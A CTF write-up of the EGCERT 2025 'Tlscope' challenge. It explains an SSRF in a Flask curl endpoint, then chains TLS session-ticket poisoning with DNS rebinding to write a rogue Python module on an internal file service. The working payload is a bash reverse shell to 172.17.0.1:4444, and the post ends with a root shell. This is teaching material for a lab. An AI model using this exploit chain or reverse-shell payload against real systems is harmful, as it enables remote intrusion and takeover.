Tlscope EGCERT 2025 CTF writeup

Walkethrough for the Tlscope CTF challenge.

Posted by xtromera on June 01, 2025 · 42 mins read

Report

For this CTF, we are presented with an application that we can run on a container.

File tree:

.
├── docker-compose.yml
├── Dockerfile
├── fileservice.py
├── requirements.txt
├── start.sh
└── webapp.py

1 directory, 6 files

We can check webapp.py file.

from flask import Flask,request,jsonify
import subprocess
import re

app = Flask(import_name='')


def issafeurl(url):
    if "://" not in url:
      return False
    return url.split("://", 1)[0].lower() in ['https', 'http']


@app.route("/api/fetch", methods=['GET'])
def api_fetch():
    url = request.args.get('url', None)
    if url == None:
        return jsonify({'status': 'error', 'msg': 'url is empty'})

    if not issafeurl(url):
        return jsonify({'status': 'error', 'msg': 'unsafe url'})

    try:
        # DevTeam: TODO: We must finish this endpoint as soon as possible and store the result somewhere!
        subprocess.check_call(["curl", "-Lk", url])
    except:
        pass

    return jsonify({'status':'success'})   

This Python code is a basic Flask web application that implements an API endpoint to fetch a given URL using curl. Here’s a step-by-step explanation of what each part of the code does:


1. URL Safety Check Function

def issafeurl(url):
    if "://" not in url:
      return False
    return url.split("://", 1)[0].lower() in ['https', 'http']
  • Checks if the URL:

    • Contains :// (i.e., includes a scheme like http:// or https://)

    • Begins with a safe scheme (http or https)

This helps avoid dangerous schemes like file://, ftp://, or data:.


2. API Route /api/fetch

@app.route("/api/fetch", methods=['GET'])
def api_fetch():
  • Defines an HTTP GET endpoint at /api/fetch.

3. Get URL Parameter

    url = request.args.get('url', None)
    if url == None:
        return jsonify({'status': 'error', 'msg': 'url is empty'})
  • Gets the url parameter from the request.

  • If url is missing, returns a JSON error response.


6. Check URL Safety

    if not issafeurl(url):
        return jsonify({'status': 'error', 'msg': 'unsafe url'})
  • Uses issafeurl() to validate the scheme.

  • If the URL is deemed unsafe, returns an error.


7. Run curl

    try:
        # DevTeam: TODO: We must finish this endpoint as soon as possible and store the result somewhere!
        subprocess.check_call(["curl", "-Lk", url])
    except:
        pass
  • Tries to execute a shell command: curl -Lk <url> using subprocess.check_call.

    • -L: Follow redirects.

    • -k: Ignore SSL certificate errors.

  • The comment indicates it’s incomplete and results are not being stored yet.

  • If curl fails (e.g., bad URL or no response), the exception is caught and ignored silently.


8. Final JSON Response

    return jsonify({'status':'success'})  
  • Returns a success status, even if curl failed (because of the silent except block).

Summary of Functionality

This Flask app does the following:

  1. Listens on /api/fetch.

  2. Accepts a URL parameter (url).

  3. Validates that the URL uses http or https.

  4. Tries to fetch the URL using curl (but doesn’t return or store the response).

  5. Returns {"status": "success"} regardless of whether curl succeeds.


Potential attack vectors:

  • We can try RCE via command injection, however, subprocess is run in a safe way. Without shell=True, and no way to bypass the URL argument.
  • The valid potential attack vector is SSRF, as the server curl any URL we provide.


Lets continue analyzing and check fileservice.py.

import threading
import socket
import os


def parse_stream(data):
    cmds    = data.decode(errors='ignore').split("\r\n")
    results   = {}
    for cmd in cmds:
        print(cmd)
        results[cmd] = handle_cmds(cmd)

    try:
        # DevTeam: for some reason we need to re-import libmonitor everytime we use it otherwise it just hangs.
        import libmonitor
        return libmonitor.new_record(results)
    except:
        # DevTeam: In case we didn't find libmonitor installed.
        return -1


def handle_cmds(line):
    line = line.lower()

    if line.startswith("mkdir"):
        dirpath = line.replace("mkdir ", "")
        os.mkdir(dirpath)
        return f"created new dir => {dirpath}"

    elif line.startswith("mkfile"):
        cmd = line.replace("mkfile ", "")
        path, content = cmd.split(" ", 1)
        open(path, "w").write(content)
        return f"created new file => {path}"

    return f"unable to parse :: {line}"


def recvall(sock):
    BUFF_SIZE = 4096
    data = b''
    try:
        while True:
            part = sock.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data

    except Exception as e:
        return data

def handle_client(client, addr):
    commands = recvall(client)
    parse_stream(commands)
    client.close()

def main():
    print("FileServer 0.1 Started!")
    sock = socket.socket(socket.AF_INET)
    sock.bind(("0.0.0.0", 8443))
    sock.listen()

    while 1:
        conn, addr = sock.accept()
        print(f"new connection from => {addr}")
        threading.Thread(target=handle_client, args=(conn, addr)).start()


if __name__ == "__main__":
    main() 

This Python script implements a multithreaded TCP server called FileServer 0.1 that listens on port 8443 and performs file and directory operations based on commands it receives from connected clients.

Lets break each component, and then get the full picture.


High-Level Overview

  • Purpose: Listens for client connections over TCP, receives a command stream, parses it, and executes file-related commands (mkdir, mkfile) on the server’s filesystem.

  • Command Format: Strings separated by \r\n (e.g., mkdir test\r\nmkfile file.txt Hello World)


Code Walkthrough


1. parse_stream(data)

def parse_stream(data):
    cmds = data.decode(errors='ignore').split("\r\n")
    results = {}
    for cmd in cmds:
        print(cmd)
        results[cmd] = handle_cmds(cmd)
  • Input: data is a raw byte stream from the socket.

  • Decoding: Converts bytes to a string, ignoring decode errors.

  • Splitting: Commands are split by \r\n (carriage return + newline).

  • Processing: Each command is passed to handle_cmds(), and the result is stored in a dictionary with the command as the key.

Then:

    try:
        import libmonitor
        return libmonitor.new_record(results)
    except:
        return -1
  • Dynamic Import: Tries to import libmonitor each time it’s called, as a workaround for some bug (as per the comment).

  • Fallback: If libmonitor isn’t installed or fails to import, returns -1.


2. handle_cmds(line)

def handle_cmds(line):
    line = line.lower()

    if line.startswith("mkdir"):
        dirpath = line.replace("mkdir ", "")
        os.mkdir(dirpath)
        return f"created new dir => {dirpath}"

    elif line.startswith("mkfile"):
        cmd = line.replace("mkfile ", "")
        path, content = cmd.split(" ", 1)
        open(path, "w").write(content)
        return f"created new file => {path}"

    return f"unable to parse :: {line}"
  • Command parser and executor:

    • mkdir <dir>: Creates a directory.

    • mkfile <filename> <content>: Creates a file and writes content into it.

    • For anything else, it returns a message that the command wasn’t understood.


3. recvall(sock)

def recvall(sock):
    BUFF_SIZE = 4096
    data = b''
    try:
        while True:
            part = sock.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data
    except Exception as e:
        return data
  • Purpose: Reads all incoming data from a socket until no more is available.

  • Loop logic: Continues reading in chunks of 4096 bytes. Breaks if received data is smaller than the buffer size (indicating the end).


4. handle_client(client, addr)

def handle_client(client, addr):
    commands = recvall(client)
    parse_stream(commands)
    client.close()
  • Called in a new thread for each client.

  • Receives the command data from the client, passes it to parse_stream, and then closes the connection.


5. main()

def main():
    print("FileServer 0.1 Started!")
    sock = socket.socket(socket.AF_INET)
    sock.bind(("0.0.0.0", 8443))
    sock.listen()
  • Creates a TCP socket and binds it to all interfaces on port 8443.
    while 1:
        conn, addr = sock.accept()
        print(f"new connection from => {addr}")
        threading.Thread(target=handle_client, args=(conn, addr)).start()
  • Infinite loop to accept new connections.

  • Each connection spawns a new thread running handle_client.


Example Input

Suppose a client sends:

mkdir testdir\r\nmkfile testdir/hello.txt Hello World

What happens:

  1. mkdir testdir → creates a folder named testdir

  2. mkfile testdir/hello.txt Hello World → creates hello.txt inside that folder with the content “Hello World”

  3. These results may be recorded using libmonitor.new_record(...)


Attack Vector: Remote Code Execution (RCE)

The application exposes a dangerous vector for Remote Code Execution through the use of a custom module: libmonitor.

How?

The libmonitor library is imported dynamically inside the parse_stream() function every time it is called. This behavior introduces a critical vulnerability:

  • The server executes import libmonitor without verifying the integrity or source of the module.

  • It relies on the local filesystem’s Python module path to resolve the import.

Exploitation Strategy

  1. Abuse the mkfile command:
    The application allows file creation on the server via the mkfile command sent over the socket.

  2. Plant a Malicious libmonitor.py:
    An attacker can use mkfile libmonitor.py <payload> to create a rogue Python module in the working directory.

  3. Trigger the Import:
    Once the malicious libmonitor.py is in place, the next call to parse_stream() will import the attacker’s code and execute the new_record() function—defined within the rogue module.

This effectively gives the attacker the ability to execute arbitrary Python code on the server.


Limitations:

We need to think of a way to reach the internal Fileservice, and inject our malicious command.


Approaches:

Multiple techniques were implemented, were all of them resulted in a failure.

  1. Sending a malicious URL to the fileservice, with encoded line carriage and our command executed.
curl 'http://localhost:4522/api/fetch?url=http://127.0.0.1:8443/foo%0amkdir%20/tmp/x%0amkfile%20/tmp/x/pwn%20owned'

{"status":"success"}

The URL passes the first check, however, results in an error in the subprocess call because CURL decoded it and resulted in an illegal URL.

curl: (3) URL using bad/illegal format or missing URL
  1. We can try double encoding.
└─$ curl 'http://localhost:4522/api/fetch?url=http%3A%2F%2F127.0.0.1%3A8443%2Ffoo%250amkdir%2520%2Ftmp%2Fx%250amkfile%2520%2Ftmp%2Fx%2Fpwn%2520owned'
{"status":"success"}

This results into reaching the fileSystem.

new connection from => ('127.0.0.1', 35248)
GET /foo%0amkdir%20/tmp/x%0amkfile%20/tmp/x/pwn%20owned HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: curl/7.68.0
Accept: */*

However, the results where not URL decoded, resulting into a wrong format.

  1. We can try to make a proxy python server, that takes our request and forward it to the internal with a status of 302, and use another protocol, like gopher to send raw TCP data.
    ```python from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header(‘Location’, ‘gopher://127.0.0.1:8443/_MKFILE libmonitor.py import os\nos.system(“id”)’) self.end_headers()

def log_message(self, format, *args):
    return  # Suppress logging to keep output clean

def run(server_class=HTTPServer, handler_class=RedirectHandler): server_address = (‘0.0.0.0’, 8080) # Listen on all interfaces httpd = server_class(server_address, handler_class) print(“Proxy redirect server running on port 8080…”) httpd.serve_forever()

if name == “main”: run()


Run the server and sends a curl request.  


```json
└─$ curl 'http://localhost:4522/api/fetch?url=http://172.17.0.1:8080'
{"status":"success"}

However

  0     0    0     0    0     0      0      0 --:--:--  0:00:34 --:--:--     0  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (1) Protocol "gopher" not supported or disabled in libcurl

Multiple other techniques were tried but decided to cut it to that point and get to the actual working solution (so far).


Solution:

If we check the CURL function being called

curl -Lk $url
  • L: Follow redirects
  • k: do not check the certificate to allow insecure server connections.

We have used the redirect so far, however, we did not use the insecure argument. In a CTF, everything has a meaning xD. If the server is able to CURL for any URL even HTTPS ones that have a custom certificate, means that we will have to implement one. An attacks that comes in mind when abusing HTTPS and SSL is called TLS Poisoning.


TLS Poisoning:

What is TLS?

TLS (Transport Layer Security) is a cryptographic protocol that ensures confidentiality, integrity, and authenticity between two communicating parties—typically a client (e.g. browser) and a server.

Key phases in a modern TLS 1.2/1.3 handshake:

  1. ClientHello:

    • The client initiates a connection.

    • Sends supported cipher suites, extensions, SNI, ALPN, and optionally a session ticket (if resuming).

  2. ServerHello:

    • Server chooses cipher suite and key agreement method.

    • May issue a new session ticket for future session resumption.

  3. Key Exchange & Handshake:

    • The client and server derive shared keys.

    • TLS session is now encrypted.


What is a TLS Session Ticket?

A session ticket is used to resume a previous session without a full handshake. It’s opaque to the client — the server creates it, encrypts it, and sends it to the client, who stores it and sends it back in a future ClientHello via the session_ticket extension.

  • In TLS 1.2, session tickets are a standalone extension.

  • In TLS 1.3, they are issued via the NewSessionTicket message and reused similarly.

The key: The server cannot see the session ticket until after the handshake completes — it is encrypted as part of the TLS payload, but the client includes it in the ClientHello.


TLS Poisoning via Session Ticket Injection

How it Works

When a proxy or middleware (e.g., load balancer, WAF, reverse proxy) terminates or inspects TLS, it might:

  • Parse only the ClientHello (before TLS handshake is completed).

  • Ignore or pass through the raw bytes of unknown extensions like session_ticket.

This creates an opportunity:

  1. The attacker crafts a malicious ClientHello.

  2. In the session_ticket extension, they inject arbitrary binary payload.

  3. The proxy, unaware of the content, forwards the ClientHello as-is to the backend server.

  4. On the backend, the custom or vulnerable application parses the session ticket, interprets or executes the injected data.


Why This Works

  • The session ticket is the only TLS field in ClientHello that:

    • Accepts arbitrary opaque binary data.

    • Is sent early (before encryption begins).

    • Is not validated or parsed by most proxies or middleboxes.

    • Is often trusted or processed by backend systems that implement custom TLS or internal protocols (e.g., servers expecting structured metadata in tickets).


To make it short, We can create a TLS server, let the application CURL our server, we inject the payload in the session ticket, and send it to the client. The client will have our payload in clear text in the session ticket. When he wants to authenticate to us again, he will send the session ticket, where our payload lives.

Explaining like that will make it not really useful in our scenario. However, if combined with DNS rebinding attack, we reach our goal.

DNS rebinding, in short, is an attack where a host is sent to the server with a very short TTL. When it is resolved for the first time, it points to an IP. However, due to its Time To Live( TTL), it will expire, leading to pointing to another IP.


Exploitation (FINALLY):

We operate a TLS server that issues a malicious session ticket containing our payload. The client connects to our server using a crafted hostname (e.g., malicious.example.com) that initially resolves to our server with a very short DNS TTL.

Upon the first connection:

  • The client receives our malicious session ticket.

  • After the DNS TTL expires, the crafted hostname is re-resolved—this time pointing to the internal fileservice.

When the client attempts to resume the TLS session, it sends the ClientHello with the injected session ticket, not to our server, but to the internal fileservice.

Since the session ticket is included in cleartext during the handshake, we have now successfully delivered arbitrary binary data over raw TLS to an internal target that:

  • Accepts incoming TLS connections,

  • Parses or mishandles session tickets (e.g., via libmonitor.new_record()),

  • And mistakenly trusts the session ticket’s content.

This technique allows us to smuggle raw TCP payloads across boundaries, bypassing proxies or firewalls, and ultimately achieve remote code execution on the internal fileservice.


Using this tool to run the TLS server.

└─$ target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http
[2025-06-02T09:25:01Z TRACE mio::poll] registering with poller

Now we need to know where we will put our malicious payload. If we check the source code of the tool, we will see that it takes the payload from a REDIS server that stores the payload in a variable called “payload”. So we need to insert it.

└─$ redis-server
1260:C 02 Jun 2025 12:26:50.948 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1260:C 02 Jun 2025 12:26:50.949 # Redis version=7.0.15, bits=64, commit=00000000, modified=0, pid=1260, just started
1260:C 02 Jun 2025 12:26:50.949 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1260:M 02 Jun 2025 12:26:50.949 * Increased maximum number of open files to 10032 (it was originally set to 1024).
1260:M 02 Jun 2025 12:26:50.949 * monotonic clock: POSIX clock_gettime
                _._
           _.-``__ ''-._
      _.-``    `.  `_.  ''-._           Redis 7.0.15 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 1260
  `-._    `-._  `-./  _.-'    _.-'
 |`-._`-._    `-.__.-'    _.-'_.-'|
 |    `-._`-._        _.-'_.-'    |           https://redis.io
  `-._    `-._`-.__.-'_.-'    _.-'
 |`-._`-._    `-.__.-'    _.-'_.-'|
 |    `-._`-._        _.-'_.-'    |
  `-._    `-._`-.__.-'_.-'    _.-'
      `-._    `-.__.-'    _.-'
          `-._        _.-'
              `-.__.-'

1260:M 02 Jun 2025 12:26:50.949 # Server initialized
1260:M 02 Jun 2025 12:26:50.949 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1260:M 02 Jun 2025 12:26:50.957 * Loading RDB produced by version 7.0.15
1260:M 02 Jun 2025 12:26:50.957 * RDB age 2 seconds
1260:M 02 Jun 2025 12:26:50.957 * RDB memory usage when created 0.84 Mb
1260:M 02 Jun 2025 12:26:50.957 * Done loading RDB, keys loaded: 0, keys expired: 0.
1260:M 02 Jun 2025 12:26:50.958 * DB loaded from disk: 0.007 seconds
1260:M 02 Jun 2025 12:26:50.958 * Ready to accept connections

And insert the payload.

└─$ redis-cli
127.0.0.1:6379> set payload "\r\nmkfile /usr/lib/python3.8/libmonitor.py def new_record(data):__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'\");return 0\r\n"
OK
127.0.0.1:6379> get payload
"\r\nmkfile /usr/lib/python3.8/libmonitor.py def new_record(data):__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'\");return 0\r\n"
127.0.0.1:6379>

Now we need to exploit the DNS rebinding. We can use this website.


1

Now trigger the attack.

curl 'http://localhost:4522/api/fetch?url=https://ac110001.7f000001.rbndr.us:8443'

We can see that our TLS server is having some responses. However, there is an error.


1

If we check the source code of the application, we will see that it connects to redis at “redis” so we need to make it resolve it as localhost.

└─$ cat /etc/hosts
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateHosts = false
127.0.0.1       localhost
127.0.1.1       xtromera.localdomain    xtromera redis

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

We wait some time and check the fileservice connections.

new connection from => ('127.0.0.1', 33562)
%!�u`J%?^@I_y} *;DXԷ;e[k?7=Fb)U/>,0̨̩̪+/$(k#'g
9       3=<5/ac110001.7f000001.rbndr.us

                                                                                                                                                                                         p/1.11
                                                                                                                                                                               +-3&$ LYI(mRtx?PiYUe)
mkfile /usr/lib/python3.8/libmonitor.py def new_record(data):__import__('os').system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'");return 0
%c10|uE+$G;!fd4/'1�+

We can see our payload in clear text. Check the reverse shell.

└─$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55054
root@11d563d1e01b:/ctf# id
id
uid=0(root) gid=0(root) groups=0(root)
root@11d563d1e01b:/ctf#